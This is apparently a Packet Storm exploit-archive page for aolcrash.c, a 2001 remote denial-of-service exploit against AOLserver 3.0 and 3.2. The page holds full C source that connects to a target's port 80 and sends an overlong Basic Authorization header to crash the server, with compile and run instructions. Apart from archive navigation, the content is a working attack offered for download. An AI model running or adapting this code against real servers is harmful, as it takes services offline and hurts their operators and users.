what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

aolcrash.c

aolcrash.c
Posted Aug 28, 2001
Authored by Exty

AOLserver v3.0 and 3.2 remote denial of service bug. Sends a long HTTP request.

tags | exploit, remote, web, denial of service
SHA-256 | 090d176d5352846828025a910558d26b49d012fe1aae38fd3838f573072a9a36

aolcrash.c

Change Mirror Download
/*  AOLserver will crash when a long authorization string is passed to it.
Tested on 3.0 and 3.2 but may work on other versions to
3.3.1 and 3.4 are not vulnerable

gcc -o aolcrash aolcrash.c; ./aolchash host

exty <grumb@techemail.com>
*/

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

main(int argc, char *argv[])
{
int sockfd, i;
char str[2098];
struct hostent *he;
struct sockaddr_in their_addr;
printf("[X] aolcrash.c by external [X]\n");
if (argc != 2) {
printf("usage: %s <addr>\n", argv[0]);
exit(1);
}
if((he=gethostbyname(argv[1])) == NULL) {
herror("gethostbyname");
exit(1);
}
strcpy(str, "GET / HTTP/1.0\nAuthorization: Basic ");
for(i=0; i<2048; i++)
strcat(str, "X");
strcat(str, "\r\n\r\n");
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(80);
their_addr.sin_addr = (*(struct in_addr *)he->h_addr);
bzero(&their_addr.sin_zero, 8);
if ((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}
if(send(sockfd, str, 2098, 0) == -1) {
perror("send");
exit(1);
}
printf("\nexploit string sent\n");
close(sockfd);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close